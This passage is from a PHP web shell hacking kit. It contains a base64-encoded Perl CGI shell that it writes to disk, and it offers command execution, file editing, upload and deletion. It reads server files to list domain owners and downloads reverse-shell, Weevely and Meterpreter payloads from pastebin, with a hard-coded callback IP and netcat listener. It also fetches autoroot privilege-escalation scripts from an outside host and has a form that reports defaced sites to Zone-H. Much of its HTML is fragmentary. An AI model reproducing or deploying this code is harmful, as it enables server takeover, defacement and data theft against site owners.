n0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs='; $file = fopen("cgi2012.izo" ,"w+"); $write = fwrite ($file ,base64_decode($cgi2012)); fclose($file); chmod("cgi2012.izo",0755); echo "
"; } elseif(isset($_GET['x']) && ($_GET['x'] == 'zone-h')){?>

.: Notifier :.




'; ?>
";?> [-] Curl Is Not Supported !![-]

'); } $hacker = $_POST['defacer']; $method = $_POST['hackmode']; $neden = $_POST['reason']; $site = $_POST['domain']; if (empty($hacker)) { die ("
[+] YOU MUST FILL THE ATTACKER NAME [+]
"); } elseif($method == "--------SELECT--------") { die("
[+] YOU MUST SELECT THE METHOD [+]
"); } elseif($neden == "--------SELECT--------") { die("
[+] YOU MUST SELECT THE REASON [+]
"); } elseif(empty($site)) { die("
[+] YOU MUST INTER THE SITES LIST [+]
"); } $i = 0; $sites = explode("\n", $site); while($i < count($sites)) { if(substr($sites[$i], 0, 4) != "http") { $sites[$i] = "http://".$sites[$i]; } ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]); echo "Domain : ".$sites[$i]." Defaced Last Years !"; ++$i; } echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]"; } ?> ")+6; $akhir = strpos($buff,""); echo "
".substr($buff,$awal,$akhir-$awal)."
"; } ///////////////////////////////////////////////// elseif(isset($_GET['view']) && ($_GET['view'] != "")) { if(is_file($_GET['view'])) { if(!isset($file)) $file = magicboom($_GET['view']); if(!$win && $posix) { $name=@posix_getpwuid(@fileowner($file)); $group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']." : ".$group['name']; } else { $owner = $user; } $filn = basename($file); echo "
Filename ".$file."
Size ".ukuran($file)."
Permission ".get_perms($file)."
Owner ".$owner."
Create time ".date("d-M-Y H:i",@filectime($file))."
Last modified ".date("d-M-Y H:i",@filemtime($file))."
Last accessed ".date("d-M-Y H:i",@fileatime($file))."
Actions edit | rename | delete | download (gz)
View text | code | img
"; if(isset($_GET['type']) && ($_GET['type']=='image')) { echo "
"; } elseif(isset($_GET['type']) && ($_GET['type']=='code')) { echo "
"; $file = wordwrap(@file_get_contents($file),"240","\n"); @highlight_string($file); echo "
"; } else { echo "
"; echo nl2br(htmlentities((@file_get_contents($file)))); echo "
"; } } elseif(is_dir($_GET['view'])){ echo showdir($pwd,$prompt); } } elseif(isset($_GET['edit']) && ($_GET['edit'] != "")) { if(isset($_POST['save'])) { $file = $_POST['saveas']; $content = magicboom($_POST['content']); if($filez = @fopen($file,"w")) { $time = date("d-M-Y H:i",time()); if(@fwrite($filez,$content)) $msg = "file saved @ ".$time; else $msg = "failed to save"; @fclose($filez); } else $msg = "permission denied"; } if(!isset($file)) $file = $_GET['edit']; if($filez = @fopen($file,"r")) { $content = ""; while(!feof($filez)) { $content .= htmlentities(str_replace("''","'",fgets($filez))); } @fclose($filez); } ?>
Save as  
Upload from computer

Upload from url
url


+--=[ Backconnect Reverse Shell ]=--+
Choose BackconnectCommand
  Pilih =>        


edit pada source script back.pl
my $ip = '222.255.167.45'; // CHANGE THIS
my $port = '57899'; // CHANGE THIS


edit pada source script back.php
$ip = '222.255.167.45'; // CHANGE THIS
$port = 57899; // CHANGE THIS

edit pada source script back.pl
my $ip = '222.255.167.45'; // CHANGE THIS
my $port = '57899'; // CHANGE THIS

edit pada source script meter.php
$ip = '222.255.167.45'; // CHANGE THIS
$port = 57899; // CHANGE THIS

usage : nc -lvvp 57899



Backconnect telah diluncurkan Boss....
Done !!


[ back.pl ]
'; } elseif ( $pilih == 'back2') { $file = file_get_contents('http://pastebin.com/raw.php?i=mGSK1EEa'); $IIIIIIIIl11I = fopen('back.php','w'); chmod("back.php",0755); fwrite($IIIIIIIIl11I,$file); fclose($IIIIIIIIl11I); print '
Backconnect telah diluncurkan Boss....
Done !!


[ back.php ]
'; } elseif ( $pilih == 'back3') { $file = file_get_contents('http://pastebin.com/raw.php?i=ctQsPjpn'); $IIIIIIIIl11I = fopen('wy.php','w'); chmod("wy.php",0755); fwrite($IIIIIIIIl11I,$file); fclose($IIIIIIIIl11I); print '
Weevely telah diluncurkan Boss....
usage : weevely http://site.com/wy.php aerulcyber

[ wy.php ]
'; } elseif ( $pilih == 'back4') { $file = file_get_contents('http://pastebin.com/raw.php?i=gtTLMyya'); $IIIIIIIIl11I = fopen('meter.php','w'); chmod("meter.php",0755); fwrite($IIIIIIIIl11I,$file); fclose($IIIIIIIIl11I); print '
Tools telah diluncurkan Boss....
Done !!


[ meter.php ]
'; } } } ////////////////////////////////////////////////////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'autoroot')) { ?>


+--=[ Autoroot Perl ]=--+
  Pilih =>        



autoroot telah diluncurkan Boss....
Done !!


[ auto.pl ]
'; } elseif ( $pilih == 'autoroot2') { $file = file_get_contents('http://svchost.nazuka.net/b.txt'); $IIIIIIIIl11I = fopen('auto/auto2.pl','w'); chmod("auto/auto2.pl",0755); fwrite($IIIIIIIIl11I,$file); fclose($IIIIIIIIl11I); print '
autoroot2 telah diluncurkan Boss....
Done !!


[ auto2.pl ]
'; } } } ////////////////////////////////////////////////////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')) { ?>




Coded By Aerul Da White-Hkc
Thanks to All Indonesian Coder | All Indonesian Hacker |